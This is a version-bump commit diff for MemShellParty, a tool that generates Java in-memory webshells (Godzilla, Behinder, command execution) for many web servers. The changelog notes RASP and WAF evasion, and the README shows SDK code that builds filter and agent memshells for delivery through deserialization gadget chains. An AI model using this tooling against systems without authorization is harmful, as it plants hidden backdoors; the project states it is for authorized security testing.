chore: 1.9.0

.github/workflows/test.yaml

@@ -38,27 +38,63 @@ jobs:
       - name: Boot Unit Test with Gradle
         run: ./gradlew :boot:test
 
+  docker-build-test:
+    runs-on: ubuntu-latest
+    steps:
+      - name: Checkout code
+        uses: actions/checkout@v4
+      - name: Build Docker image
+        run: |
+          docker build --build-arg ROUTE_ROOT_PATH=/memshell-party --build-arg CONTEXT_PATH=/memshell-party -t app .
+          docker images
+      - name: Run Docker container
+        run: |
+          docker run -d -e BOOT_OPTS=--server.servlet.context-path=/memshell-party -p 8080:8080 app
+          sleep 10
+      - name: Test with curl
+        run: |
+          if [[ $(curl -w "%{http_code}" -o /dev/null http://localhost:8080/memshell-party/version) -eq 200 ]]; then
+             echo "Test successful!"
+          else
+            echo "Test failed!"
+            exit 1
+          fi
+
   integration-test:
     strategy:
       fail-fast: false
       matrix:
-        middleware:
+        cases:
-          - tomcat
+          - middleware: "tomcat"
-          - jetty
+            depend_tasks: ":vul:vul-webapp:war :vul:vul-webapp-expression:war :vul:vul-webapp-deserialize:war :vul:vul-webapp-jakarta:war"
-          - jbossas
+          - middleware: "jetty"
-          - jbosseap
+            depend_tasks: ":vul:vul-webapp:war :vul:vul-webapp-jakarta:war"
-          - wildfly
+          - middleware: "jbossas"
-          - glassfish
+            depend_tasks: ":vul:vul-webapp:war"
-          - resin
+          - middleware: "jbosseap"
-          - payara
+            depend_tasks: ":vul:vul-webapp:war"
-          - websphere
+          - middleware: "wildfly"
-          - websphere7
+            depend_tasks: ":vul:vul-webapp:war :vul:vul-webapp-jakarta:war"
-          - springmvc
+          - middleware: "glassfish"
-          - weblogic
+            depend_tasks: ":vul:vul-webapp:war :vul:vul-webapp-jakarta:war"
-          - springwebflux
+          - middleware: "resin"
-          - xxljob
+            depend_tasks: ":vul:vul-webapp:war"
+          - middleware: "payara"
+            depend_tasks: ":vul:vul-webapp:war :vul:vul-webapp-jakarta:war"
+          - middleware: "websphere"
+            depend_tasks: ":vul:vul-webapp:war"
+          - middleware: "websphere7"
+            depend_tasks: ":vul:vul-webapp:war"
+          - middleware: "weblogic"
+            depend_tasks: ":vul:vul-webapp:war"
+          - middleware: "springmvc"
+            depend_tasks: ":vul:vul-springboot1:bootJar :vul:vul-springboot2:bootJar :vul:vul-springboot2-jetty:bootJar :vul:vul-springboot2-undertow:bootJar :vul:vul-springboot2:bootWar :vul:vul-springboot3:bootJar"
+          - middleware: "springwebflux"
+            depend_tasks: ":vul:vul-springboot2-webflux:bootJar :vul:vul-springboot3-webflux:bootJar"
+          - middleware: "xxljob"
+            depend_tasks: ""
     runs-on: ubuntu-latest
-    name: ${{ matrix.middleware }}
+    name: ${{ matrix.cases.middleware }}
     needs: [ unit-test ]
     steps:
       - name: Checkout
@@ -73,7 +109,11 @@ jobs:
       - name: Setup Gradle
         uses: gradle/actions/setup-gradle@v4
 
+      - name: Prepare for Integration Test
+        run: ./gradlew ${{ matrix.cases.depend_tasks }}
+
       - name: Integration Test with gradle
-        run: ./gradlew :integration-test:test --tests '*.${{ matrix.middleware }}.*' --info
+        run: ./gradlew :integration-test:test --tests '*.${{ matrix.cases.middleware }}.*' --info
+
       - name: Export Integration Test Summary
         run: cat integration-test/build/test-results/report.md >> $GITHUB_STEP_SUMMARY

.gitignore

@@ -61,3 +61,4 @@ integration-test/**/apusic
 integration-test/**/bes
 integration-test/**/tongweb
 integration-test/**/inforsuite
+integration-test/**/primeton

CHANGELOG.md

@@ -5,6 +5,55 @@ All notable changes to this project will be documented in this file.
 The format is based on [Keep a Changelog](https://keepachangelog.com/en/1.1.0/),
 and this project adheres to [Semantic Versioning](https://semver.org/spec/v2.0.0.html).
 
+## [v1.9.0](https://github.com/ReaJason/MemShellParty/releases/tag/v1.9.0) - 2025-05-28
+
+### Added
+
+- 支持 TongWeb8 内存马生成 by @ReaJason
+- 通过 context 获取 webAppClassLoader，不再依赖 Thread.currentThread().getContextClassLoader() 为请求线程
+- 全面支持使用 ASM 生成 Agent（仅需 92.5 KB），并且可选 JDKAttacher 与 JREAttacher
+- 支持命令执行自定义实现类，RuntimeExec or ForkAndExec
+
+### Fixed
+
+- 修复 Apusic Listener 由于 response 获取错误导致不可用
+- 修复 Jakarta WebSocket 无法注入
+
+### Changed
+
+- Godzilla WebSocket 默认使用 AES_BASE64 加密器，支持使用 [GzWebsocket](https://github.com/xsshim/GzWebsocket) 插件进行连接。
+- Gradle、Web 项目依赖更新
+- UI 生成界面默认勾选缩小字节码
+- UI 优化手机端选项布局，单行显示每个输入框
+- UI 使用紧凑模式，隐藏非常用字段简化操作路径
+- 提取公共 Tailwind CSS 类名，简化表单组件代码
+- yup 替代 zod 减少打包体积，并将自定义表单验证融合到 react-hook-form 中优化 UX
+- 重构 Shell Generator 代码
+
+**Full Changelog:** [v1.8.0...v1.9.0](https://github.com/ReaJason/MemShellParty/compare/v1.8.0...v1.9.0)
+
+## [v1.8.0](https://github.com/ReaJason/MemShellParty/releases/tag/v1.8.0) - 2025-05-14
+
+### Added
+
+- 支持普元中间件内存马生成（only 6.5 版本）by @ReaJason（#60）
+- 支持哥斯拉 WebSocket 内存马生成与测试
+- 添加 Groovy 通用恶意类加载打包方式（用于测试 Jenkins 脚本执行）
+- 命令执行支持加密器，双 Base64 测试绕过 WAF 安全设备
+
+### Fixed
+
+- 修复 Jetty 高版本中 ee8 ~ ee10 无法注入（#61）
+- 修复 Spring Boot 下类加载的原因导致的 Tomcat/Jetty/Undertow 部分内存马注入失败
+
+### Changed
+
+- 命令执行改为反射调用 forkAndExec 以绕过 RASP（JDK7+）
+- 获取所有线程代码改为 `Thread.getAllStackTraces().keySet()`，高版本 JDK 不再需要 bypass module
+- 优化 boot 在启动时即触发 Server 的内存马生成注册，加速第一次请求访问
+
+**Full Changelog:** [v1.7.0...v1.8.0](https://github.com/ReaJason/MemShellParty/compare/v1.7.0...v1.8.0)
+
 ## [v1.7.0](https://github.com/ReaJason/MemShellParty/releases/tag/v1.7.0) - 2025-04-06
 
 ### Added

Dockerfile

@@ -8,7 +8,8 @@ WORKDIR /usr/src
 RUN git clone --depth 1 https://github.com/ReaJason/MemShellParty.git . && \
     rm -rf vul integration-test tools
 
-FROM oven/bun:1.2.2 AS frontend
+# https://hub.docker.com/r/oven/bun
+FROM oven/bun:1.2.9 AS frontend
 
 ARG ROUTE_ROOT_PATH="/"
 ARG CONTEXT_PATH=""
@@ -26,6 +27,7 @@ COPY --from=source /usr/src/web /usr/src/web
 
 RUN bun run build
 
+# https://hub.docker.com/_/eclipse-temurin
 FROM eclipse-temurin:17.0.14_7-jdk-noble AS backend
 
 ARG VERSION="1.0.0"

README.md

@@ -1,11 +1,24 @@
-# MemShellParty
+<h1 align="center">MemShellParty</h1>
+
+<p align="center">中文 | <a href="./docs/README.en.md">English</a><br></p>
+<div align="center">
 
 [![ci-test](https://img.shields.io/github/actions/workflow/status/reajason/memshellparty/test.yaml?label=Test%20CI&branch=master&style=flat-square)](https://github.com/ReaJason/MemShellParty/actions/workflows/test.yaml)
 [![ci-release](https://img.shields.io/github/actions/workflow/status/reajason/memshellparty/release.yaml?label=Release%20CD&style=flat-square)](https://github.com/ReaJason/MemShellParty/actions/workflows/release.yaml)
+</div>
+
+
+<div align="center">
+
 [![release](https://img.shields.io/github/v/release/reajason/memshellparty?label=Release&style=flat-square)](https://github.com/ReaJason/MemShellParty/releases)
+[![MavenCentral](https://img.shields.io/maven-central/v/io.github.reajason/generator?label=MavenCentral&style=flat-square)](https://central.sonatype.com/artifact/io.github.reajason/generator)
 [![docker-pulls](https://img.shields.io/docker/pulls/reajason/memshell-party?label=DockerHub%20Pulls&style=flat-square)](https://hub.docker.com/r/reajason/memshell-party)
+</div>
+<div align="center">
+
 [![Telegram](https://img.shields.io/badge/Chat-Telegram-%2326A5E4?style=flat-square&logo=telegram&logoColor=%2326A5E4)](https://t.me/memshell)
 [![OnlinePartyWebSite](https://img.shields.io/badge/WebSite-OnlineParty-%23646CFF?style=flat-square&logo=vite&logoColor=%23646CFF)](https://party.memshell.news)
+</div>
 
 > [!WARNING]
 > 本工具仅供安全研究人员、网络管理员及相关技术人员进行授权的安全测试、漏洞评估和安全审计工作使用。使用本工具进行任何未经授权的网络攻击或渗透测试等行为均属违法，使用者需自行承担相应的法律责任。
@@ -42,7 +55,7 @@ MemShellParty 是一款可本地部署的一键生成常见中间件框架内存
 
 > 仅限尝鲜的小伙伴，对于其他暴露在公网的服务请谨慎使用，小心生成的内存马带后门
 
-可直接访问 https://party.memshell.news，每次 Release 都会自动部署最新的镜像。
+可直接访问 [https://party.memshell.news](https://party.memshell.news)。每次 Release 都会自动部署最新的镜像。
 
 ### 本地部署（推荐）
 
@@ -200,22 +213,30 @@ Files.write(Paths.get("agent.jar"), agentJarBytes);
 | Listener              | Listener                |
 | FilterManager - Agent | ServletContext - Agent  |
 
-| BES（9.5.x）           | TongWeb（6 ~ 7）       | InforSuite AS （9 ~ 10） | Apusic AS （9） |
+| BES（9.5.x）           | TongWeb（6 ~ 7）       | InforSuite AS （9 ~ 10） |
-|----------------------|----------------------|------------------------|---------------|
+|----------------------|----------------------|------------------------|
-| Filter               | Filter               | Filter                 | Servlet       |
+| Filter               | Filter               | Filter                 |
-| Listener             | Listener             | Listener               | Filter        |
+| Listener             | Listener             | Listener               |
-| Valve                | Valve                | Valve                  | Listener      |
+| Valve                | Valve                | Valve                  |
-| FilterChain - Agent  | FilterChain - Agent  | FilterChain - Agent    |               |
+| FilterChain - Agent  | FilterChain - Agent  | FilterChain - Agent    |
-| ContextValve - Agent | ContextValve - Agent | ContextValve - Agent   |               |
+| ContextValve - Agent | ContextValve - Agent | ContextValve - Agent   |
+
+| Apusic AS （9）       | Primeton（6.5）        |
+|---------------------|----------------------|
+| Servlet             | Filter               |
+| Filter              | Listener             |
+| Listener            | Valve                |
+| FilterChain - Agent | FilterChain - Agent  |
+|                     | ContextValve - Agent |
 
 ### 内存马功能
 
-- [x] Godzilla 哥斯拉
+- [x] [Godzilla 哥斯拉](https://github.com/BeichenDream/Godzilla)
-- [x] Behinder 冰蝎
+- [x] [Behinder 冰蝎](https://github.com/rebeyond/Behinder)
 - [x] 命令执行
-- [x] Suo5
+- [x] [Suo5](https://github.com/zema1/suo5)
-- [x] AntSword 蚁剑
+- [x] [AntSword 蚁剑](https://github.com/AntSwordProject/antSword)
-- [x] Neo-reGeorg
+- [x] [Neo-reGeorg](https://github.com/L-codes/Neo-reGeorg)
 - [x] Custom
 
 ### 封装方式
@@ -229,7 +250,7 @@ Files.write(Paths.get("agent.jar"), agentJarBytes);
 - [x] 内置脚本引擎、Rhino 脚本引擎
 - [x] EL、SpEL、OGNL、Aviator、MVEL、JEXL、Groovy、JXPath、BeanShell
 - [x] Velocity、Freemarker、JinJava
-- [x] 原生反序列化（CB4）
+- [x] 原生反序列化（CB 和 CC 链）
 - [x] Agent
 - [x] XXL-JOB Executor
 - [x] Hessian、Hessian2 反序列化（XSLT链）
@@ -246,23 +267,28 @@ Files.write(Paths.get("agent.jar"), agentJarBytes);
 首先需要下载 [bun](https://bun.sh/)，这是一款用于构建前端服务的工具。
 
 1. 使用 Git Clone 项目
-   ```bash
+
-   git clone https://github.com/ReaJason/MemShellParty.git
+```bash
-   ```
+git clone https://github.com/ReaJason/MemShellParty.git
+```
+
 2. 构建前端项目，build 结束会将静态资源自动移动到 Spring Boot 中以供使用
-   ```bash
-   cd MemShellParty/web
 
-   bun install
+```bash
+cd MemShellParty/web
+
+bun install
+
+bun run build
+```
 
-   bun run build
-   ```
 3. 构建后端项目，确保使用 JDK17 环境
-   ```bash
-   cd MemShellParty/boot
 
-   ./gradlew :boot:bootjar -x test
+```bash
-   ```
+cd MemShellParty/boot
+
+./gradlew :boot:bootjar -x test
+```
 
 构建完之后，可直接启动 jar 包，jar 包位于 `MemShellParty/boot/build/libs/boot-1.0.0.jar`
 
@@ -339,11 +365,6 @@ location /memshell-party {
 }
 ```
 
-## How
-
-1. 如何使用 bytebuddy 生成类，为属性赋值，添加方法，指定位置调用方法？（**WIP**）
-2. 如何调试内存马，为什么内存马注入了却不可用？（**WIP**）
-
 ## Contribute
 
 > 你的任何反馈以及 issue 交流都是对当前项目的贡献

boot/build.gradle

@@ -1,7 +1,7 @@
 plugins {
     id 'java'
-    id 'org.springframework.boot' version '3.4.0'
+    id 'org.springframework.boot' version '3.4.6'
-    id 'io.spring.dependency-management' version '1.1.6'
+    id 'io.spring.dependency-management' version '1.1.7'
 }
 
 group = 'com.reajason.javaweb'
@@ -48,7 +48,7 @@ dependencies {
     implementation('org.springframework.boot:spring-boot-starter-web') {
         exclude group: 'org.springframework.boot', module: 'spring-boot-starter-tomcat'
     }
-    implementation 'org.apache.commons:commons-lang3:3.+'
+    implementation 'org.apache.commons:commons-lang3:3.17.0'
     implementation 'org.springframework.boot:spring-boot-starter-undertow'
     compileOnly 'org.projectlombok:lombok'
     developmentOnly 'org.springframework.boot:spring-boot-devtools'

boot/src/main/java/com/reajason/javaweb/boot/BootApplication.java

@@ -1,17 +1,23 @@
 package com.reajason.javaweb.boot;
 
+import com.reajason.javaweb.memshell.Server;
+import lombok.extern.slf4j.Slf4j;
 import org.springframework.boot.SpringApplication;
 import org.springframework.boot.autoconfigure.SpringBootApplication;
 
+import java.util.Arrays;
+
 /**
  * @author ReaJason
  */
 @SpringBootApplication
+@Slf4j
 public class BootApplication {
 
     public static void main(String[] args) {
-
         SpringApplication.run(BootApplication.class, args);
+        Server[] values = Server.values();
+        log.info("Supported servers: {}", Arrays.toString(values));
+        log.info("For another server, you can open a issue in GitHub, https://github.com/ReaJason/MemShellParty/issues/new?template=%E8%AF%B7%E6%B1%82%E9%80%82%E9%85%8D.md");
     }
-
 }

boot/src/main/java/com/reajason/javaweb/boot/controller/ConfigController.java

@@ -1,10 +1,13 @@
 package com.reajason.javaweb.boot.controller;
 
+import com.reajason.javaweb.boot.vo.CommandConfigVO;
 import com.reajason.javaweb.memshell.Packers;
 import com.reajason.javaweb.memshell.Server;
 import com.reajason.javaweb.memshell.ShellTool;
+import com.reajason.javaweb.memshell.config.CommandConfig;
 import com.reajason.javaweb.memshell.server.AbstractShell;
 import org.springframework.web.bind.annotation.CrossOrigin;
+import org.springframework.web.bind.annotation.GetMapping;
 import org.springframework.web.bind.annotation.RequestMapping;
 import org.springframework.web.bind.annotation.RestController;
 
@@ -58,4 +61,12 @@ public class ConfigController {
         }
         return coreMap;
     }
+
+    @GetMapping("/command/configs")
+    public CommandConfigVO getCommandConfigs() {
+        CommandConfigVO commandConfigVO = new CommandConfigVO();
+        commandConfigVO.setEncryptors(Arrays.stream(CommandConfig.Encryptor.values()).toList());
+        commandConfigVO.setImplementationClasses(Arrays.stream(CommandConfig.ImplementationClass.values()).toList());
+        return commandConfigVO;
+    }
 }

boot/src/main/java/com/reajason/javaweb/boot/dto/GenerateRequest.java

@@ -28,6 +28,8 @@ public class GenerateRequest {
         private String headerName;
         private String headerValue;
         private String shellClassBase64;
+        private String encryptor;
+        private String implementationClass;
     }
 
     public ShellToolConfig parseShellToolConfig() {
@@ -48,6 +50,8 @@ public class GenerateRequest {
             case Command -> CommandConfig.builder()
                     .shellClassName(shellToolConfig.getShellClassName())
                     .paramName(StringUtils.defaultIfBlank(shellToolConfig.getCommandParamName(), CommonUtil.getRandomString(8)))
+                    .encryptor(CommandConfig.Encryptor.fromString(shellToolConfig.getEncryptor()))
+                    .implementationClass(CommandConfig.ImplementationClass.fromString(shellToolConfig.getImplementationClass()))
                     .build();
             case Suo5 -> Suo5Config.builder()
                     .shellClassName(shellToolConfig.getShellClassName())

boot/src/main/java/com/reajason/javaweb/boot/vo/CommandConfigVO.java

@@ -0,0 +1,16 @@
+package com.reajason.javaweb.boot.vo;
+
+import com.reajason.javaweb.memshell.config.CommandConfig;
+import lombok.Data;
+
+import java.util.List;
+
+/**
+ * @author ReaJason
+ * @since 2025/5/25
+ */
+@Data
+public class CommandConfigVO {
+    private List<CommandConfig.Encryptor> encryptors;
+    private List<CommandConfig.ImplementationClass> implementationClasses;
+}

build.gradle

@@ -1,6 +1,6 @@
 import com.vanniktech.maven.publish.SonatypeHost
 
-version = '1.7.0'
+version = '1.9.0'
 
 buildscript {
     repositories {

deserialize/src/main/java/com/reajason/javaweb/deserialize/TemplateUtils.java

@@ -1,5 +1,6 @@
 package com.reajason.javaweb.deserialize;
 
+import com.reajason.javaweb.ClassBytesShrink;
 import com.reajason.javaweb.buddy.TargetJreVersionVisitorWrapper;
 import com.reajason.javaweb.deserialize.utils.Reflections;
 import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
@@ -23,7 +24,7 @@ public class TemplateUtils {
                 .subclass(Object.class).name("foo")
                 .visit(new TargetJreVersionVisitorWrapper(Opcodes.V1_6))
                 .make()) {
-            fooBytes = make.getBytes();
+            fooBytes = ClassBytesShrink.shrink(make.getBytes(), true);
         }
 
         Reflections.setFieldValue(templates, "_bytecodes", new byte[][]{

docs/README.en.md

@@ -0,0 +1,377 @@
+<h1 align="center">MemShellParty</h1>
+
+<p align="center">English | <a href="../README.md">中文</a><br></p>
+<div align="center">
+
+[![ci-test](https://img.shields.io/github/actions/workflow/status/reajason/memshellparty/test.yaml?label=Test%20CI&branch=master&style=flat-square)](https://github.com/ReaJason/MemShellParty/actions/workflows/test.yaml)
+[![ci-release](https://img.shields.io/github/actions/workflow/status/reajason/memshellparty/release.yaml?label=Release%20CD&style=flat-square)](https://github.com/ReaJason/MemShellParty/actions/workflows/release.yaml)
+</div>
+
+
+<div align="center">
+
+[![release](https://img.shields.io/github/v/release/reajason/memshellparty?label=Release&style=flat-square)](https://github.com/ReaJason/MemShellParty/releases)
+[![MavenCentral](https://img.shields.io/maven-central/v/io.github.reajason/generator?label=MavenCentral&style=flat-square)](https://central.sonatype.com/artifact/io.github.reajason/generator)
+[![docker-pulls](https://img.shields.io/docker/pulls/reajason/memshell-party?label=DockerHub%20Pulls&style=flat-square)](https://hub.docker.com/r/reajason/memshell-party)
+</div>
+<div align="center">
+
+[![Telegram](https://img.shields.io/badge/Chat-Telegram-%2326A5E4?style=flat-square&logo=telegram&logoColor=%2326A5E4)](https://t.me/memshell)
+[![OnlinePartyWebSite](https://img.shields.io/badge/WebSite-OnlineParty-%23646CFF?style=flat-square&logo=vite&logoColor=%23646CFF)](https://party.memshell.news)
+</div>
+
+> [!WARNING]
+> This tool is intended only for security researchers, network administrators, and related technical personnel for authorized security testing, vulnerability assessment, and security auditing purposes. Using this tool for any unauthorized network attacks or penetration testing activities is illegal, and users are solely responsible for any resulting legal consequences.
+
+> [!TIP]
+> As I primarily focus on security product development and lack extensive real-world combat experience, please feel free to raise an issue or join the [Telegram group](https://t.me/memshell) if you have questions about usage, implementation, or adaptation requests. Let's learn and exchange ideas together!
+
+MemShellParty is a self-hosted, visual platform for one-click generation of java memshell for common middleware and frameworks. It also aims to be a comprehensive learning platform for java memshell. In an era full of wheels, it's time to build the car and accelerate together!
+
+What you can learn or try from this project:
+
+1. Learn to write java memshell for common middleware and frameworks.
+2. Learn to use [Testcontainers](https://testcontainers.com/) for Java application integration testing.
+3. Learn to use GitHub Actions for CI/CD, write CHANGELOG, and automate Release publications via CI.
+4. Try using [Byte Buddy](https://bytebuddy.net/) to generate classes and write Agents.
+5. Try using Gradle to build Java projects (using platform for dependency version management, toolchain to compile JDK 6 source code even in a JDK 17 environment within the root project).
+
+![normal_generator](../asserts/normal_generator.png)
+
+![agent_generator](../asserts/agent_generator.png)
+
+## Key Features
+
+- Non-Intrusive: Generated memshell do not interfere with the normal traffic of the target middleware, even when multiple different shells are injected simultaneously.
+- High Availability: Comes with comprehensive [CI integration tests](https://github.com/ReaJason/MemShellParty/actions/workflows/test.yaml)
+- Minimal Size: Strives to minimize memshell size for efficient transfer.
+- Strong Compatibility: Covers common middleware and frameworks encountered in offensive and defensive scenarios.
+
+## Quick Start
+
+### Online Preview
+
+> Suitable for users who just want to try it out. Please use with caution on public services, as generated memshell might potentially contain backdoors if the service is compromised.
+
+Access directly at [https://party.memshell.news](https://party.memshell.news). The latest image is automatically deployed with each release.
+
+### Local Deployment (Recommended)
+
+> Ideal for quick deployment on internal networks or local machines. Using Docker is fast and convenient.
+
+After deploying with Docker, access the service at http://127.0.0.1:8080
+
+```bash
+# Pull the latest image from Docker Hub
+docker run --pull=always --rm -it -d -p 8080:8080 --name memshell-party reajason/memshell-party:latest
+
+# Pull the latest image from Github Container Registry
+docker run --pull=always --rm -it -d -p 8080:8080 --name memshell-party ghcr.io/reajason/memshell-party:latest
+
+# If network quality is poor, use the Nanjing University Github Container Registry mirror
+docker run --pull=always --rm -it -d -p 8080:8080 --name memshell-party ghcr.nju.edu.cn/reajason/memshell-party:latest
+```
+
+The image is stateless. To update to the latest version, simply remove the old container and create a new one:
+
+```bash
+# Remove the previously deployed container
+docker rm -f memshell-party
+
+# Use the previous deployment command to redeploy (it will automatically pull the latest image)
+docker run --pull=always --rm -it -d -p 8080:8080 --name memshell-party reajason/memshell-party:latest
+```
+
+### SDK Integration into Existing Tools
+
+> Suitable for integrating memshell payload generation into your existing tools. Supports JDK 8 and above (since v1.7.0).
+
+1. Add the dependency using Maven or Gradle:
+
+```xml
+<!-- Maven Repo-->
+<dependency>
+    <groupId>io.github.reajason</groupId>
+    <artifactId>generator</artifactId>
+    <version>1.7.0</version>
+</dependency>
+```
+
+```groovy
+// Gradle Repo
+implementation 'io.github.reajason:generator:1.7.0'
+```
+
+2. Example1: Generate a Tomcat Godzilla Filter memory shell:
+
+```java
+ShellConfig shellConfig = ShellConfig.builder()
+        .server(Server.Tomcat)
+        .shellTool(ShellTool.Godzilla)
+        .shellType(ShellType.FILTER)
+        .shrink(true) // Shrink bytecode size
+        .debug(false) // Disable debug mode
+        .build();
+
+InjectorConfig injectorConfig = InjectorConfig.builder()
+//                .urlPattern("/*")  // Custom urlPattern, defaults to /*
+//                .shellClassName("com.example.memshell.GodzillaShell") // Custom shell class name, random if empty
+//                .injectorClassName("com.example.memshell.GodzillaInjector") // Custom injector class name, random if empty
+        .build();
+
+GodzillaConfig godzillaConfig = GodzillaConfig.builder()
+//                .pass("pass")
+//                .key("key")
+//                .headerName("User-Agent")
+//                .headerValue("test")
+        .build();
+
+GenerateResult result = MemShellGenerator.generate(shellConfig, injectorConfig, godzillaConfig);
+
+System.out.println("Injector Class Name: "+result.getInjectorClassName());
+System.out.println("MemShell Class Name: "+result.getShellClassName());
+
+System.out.println(result.getShellConfig());
+System.out.println(result.getShellToolConfig());
+
+System.out.println("Base64 Packed: "+Packers.Base64.getInstance().pack(result));
+System.out.println("ScriptEngine Packed: "+Packers.ScriptEngine.getInstance().pack(result));
+```
+3. Example2: Generate a Tomcat Godzilla AgentFilterChain memory shell (Agent type):
+```java
+ShellConfig shellConfig = ShellConfig.builder()
+        .server(Server.Tomcat)
+        .shellTool(ShellTool.Godzilla)
+        .shellType(ShellType.AGENT_FILTER_CHAIN)
+        .shrink(true) // Shrink bytecode size
+        .debug(false) // Disable debug mode
+        .build();
+
+InjectorConfig injectorConfig = InjectorConfig.builder()
+//                .urlPattern("/*")  // Custom urlPattern, defaults to /*
+//                .shellClassName("com.example.memshell.GodzillaShell") // Custom shell class name, random if empty
+//                .injectorClassName("com.example.memshell.GodzillaInjector") // Custom injector class name, random if empty
+        .build();
+
+GodzillaConfig godzillaConfig = GodzillaConfig.builder()
+//                .pass("pass")
+//                .key("key")
+//                .headerName("User-Agent")
+//                .headerValue("test")
+        .build();
+
+GenerateResult result = MemShellGenerator.generate(shellConfig, injectorConfig, godzillaConfig);
+
+System.out.println("Injector Class Name: " + result.getInjectorClassName());
+System.out.println("MemShell Class Name: " + result.getShellClassName());
+
+System.out.println(result.getShellConfig());
+System.out.println(result.getShellToolConfig());
+
+byte[] agentJarBytes = ((JarPacker) Packers.AgentJar.getInstance()).packBytes(result);
+Files.write(Paths.get("agent.jar"), agentJarBytes);
+```
+4. For a unified generation interface example, refer to [GeneratorController.java](../boot/src/main/java/com/reajason/javaweb/boot/controller/GeneratorController.java)
+
+## Compatibility
+
+Compatible with Java6 ~ Java8, Java9, Java11, Java17, Java21
+
+### Middleware and Frameworks
+
+| Tomcat（5 ~ 11）       | Jetty（6 ~ 11）          | GlassFish（3 ~ 7）     | Payara（5 ~ 6）        |
+|----------------------|------------------------|----------------------|----------------------|
+| Servlet              | Servlet                | Filter               | Filter               |
+| Filter               | Filter                 | Listener             | Listener             |
+| Listener             | Listener               | Valve                | Valve                |
+| Valve                | ServletHandler - Agent | FilterChain - Agent  | FilterChain - Agent  |
+| FilterChain - Agent  |                        | ContextValve - Agent | ContextValve - Agent |
+| ContextValve - Agent |                        |                      |                      |
+
+| Resin（3 ~ 4）        | SpringMVC                | SpringWebFlux   | XXL-JOB      |
+|---------------------|--------------------------|-----------------|--------------|
+| Servlet             | Interceptor              | WebFilter       | NettyHandler |
+| Filter              | ControllerHandler        | HandlerMethod   |              |
+| Listener            | FrameworkServlet - Agent | HandlerFunction |              |
+| FilterChain - Agent |                          | NettyHandler    |              |
+
+| JBossAS（4 ~ 7）       | JBossEAP（6 ~ 7）            | WildFly（9 ~ 30）        | Undertow               |
+|----------------------|----------------------------|------------------------|------------------------|
+| Filter               | Filter                     | Servlet                | Servlet                |
+| Listener             | Listener                   | Filter                 | Filter                 |
+| Valve                | Valve(6)                   | Listener               | Listener               |
+| FilterChain - Agent  | FilterChain - Agent (6)    | ServletHandler - Agent | ServletHandler - Agent |
+| ContextValve - Agent | ContextValve - Agent (6)   |                        |                        |
+|                      | ServletHandler - Agent (7) |                        |                        |
+
+| WebSphere（7 ~ 9）      | WebLogic （10.3.6  ~ 14） |
+|-----------------------|-------------------------|
+| Servlet               | Servlet                 |
+| Filter                | Filter                  |
+| Listener              | Listener                |
+| FilterManager - Agent | ServletContext - Agent  |
+
+| BES（9.5.x）           | TongWeb（6 ~ 7）       | InforSuite AS （9 ~ 10） |
+|----------------------|----------------------|------------------------|
+| Filter               | Filter               | Filter                 |
+| Listener             | Listener             | Listener               |
+| Valve                | Valve                | Valve                  |
+| FilterChain - Agent  | FilterChain - Agent  | FilterChain - Agent    |
+| ContextValve - Agent | ContextValve - Agent | ContextValve - Agent   |
+
+| Apusic AS （9）       | Primeton（6.5）        |
+|---------------------|----------------------|
+| Servlet             | Filter               |
+| Filter              | Listener             |
+| Listener            | Valve                |
+| FilterChain - Agent | FilterChain - Agent  |
+|                     | ContextValve - Agent |
+
+### MemShell Functionality
+
+- [x] [Godzilla](https://github.com/BeichenDream/Godzilla)
+- [x] [Behinder](https://github.com/rebeyond/Behinder)
+- [x] Command Execution
+- [x] [Suo5](https://github.com/zema1/suo5)
+- [x] [AntSword](https://github.com/AntSwordProject/antSword)
+- [x] [Neo-reGeorg](https://github.com/L-codes/Neo-reGeorg)
+- [x] Custom
+
+### Packaging Methods
+
+- [x] BASE64
+- [x] GZIP BASE64
+- [x] JSP
+- [x] JSPX
+- [x] JAR
+- [x] BCEL
+- [x] Built-in ScriptEngine, Rhino ScriptEngine
+- [x] EL、SpEL、OGNL、Aviator、MVEL、JEXL、Groovy、JXPath、BeanShell
+- [x] Velocity、Freemarker、JinJava
+- [x] Native Deserialization（CB and CC）
+- [x] Agent
+- [x] XXL-JOB Executor
+- [x] Hessian, Hessian2 Deserialization (XSLT gadget chain)
+- [ ] JNDI
+- [ ] JDBC Connection
+- [ ] Other common deserialization
+
+## Local Build
+
+### Building from Source Code
+
+> Suitable for developers who want to modify the code. Clone the repository locally and build the frontend and backend projects.
+
+First, you need to download and install [bun](https://bun.sh/), a tool for building the frontend service.
+
+1. Clone the project using Git:
+```bash
+git clone https://github.com/ReaJason/MemShellParty.git
+```
+2. Build the frontend project. After the build finishes, static resources will be automatically moved to the Spring Boot module.
+```bash
+cd MemShellParty/web
+
+bun install
+
+bun run build
+```
+3. Build the backend project. Ensure you are using a JDK 17 environment.
+```bash
+cd MemShellParty/boot
+
+./gradlew :boot:bootjar -x test
+```
+
+After building, you can directly run the JAR file located at `MemShellParty/boot/build/libs/boot-*.jar` (the exact version might vary).
+
+```bash
+cd MemShellParty/boot
+
+java -jar \
+     --add-opens=java.base/java.util=ALL-UNNAMED \
+     --add-opens=java.xml/com.sun.org.apache.xalan.internal.xsltc.trax=ALL-UNNAMED \
+     --add-opens=java.xml/com.sun.org.apache.xalan.internal.xsltc.runtime=ALL-UNNAMED \
+     build/libs/boot-1.0.0.jar
+```
+
+Alternatively, you can build a Docker container from the built artifacts:
+
+```bash
+cd MemShellParty/boot
+
+docker buildx build -t memshell-party:latest . --load
+
+docker run -it -d --name memshell-party -p 8080:8080 memshell-party:latest
+```
+
+### Building with Dockerfile Directly
+
+> Suitable for users who want to build with custom access paths, for example, when using NGINX as a reverse proxy ([#44](https://github.com/ReaJason/MemShellParty/issues/44)).
+
+Download the [Dockerfile](../Dockerfile) from the project root.
+
+- VERSION: Version information (arbitrary, suggest using the latest tag; used for frontend display).
+- ROUTE_ROOT_PATH: Frontend root route configuration (e.g., /memshell-party).
+- CONTEXT_PATH: Backend access prefix (e.g., /memshell-party).
+
+```bash
+# Basic build (defaults to root path "/")
+docker buildx build \
+    --build-arg VERSION=1.7.0 \
+    -t memshell-party:latest . --load
+
+# Run the basic image, access at http://127.0.0.1:8080
+docker run -it -d -p 8080:8080 memshell-party:latest
+
+# Build with custom access path (e.g., /memshell-party)
+docker buildx build \
+    --build-arg VERSION=1.7.0 \
+    --build-arg ROUTE_ROOT_PATH=/memshell-party \
+    --build-arg CONTEXT_PATH=/memshell-party \
+    -t memshell-party:latest . --load
+    
+# Run the custom path image, access at http://127.0.0.1:8080/memshell-party
+docker run -it -p 8080:8080 \
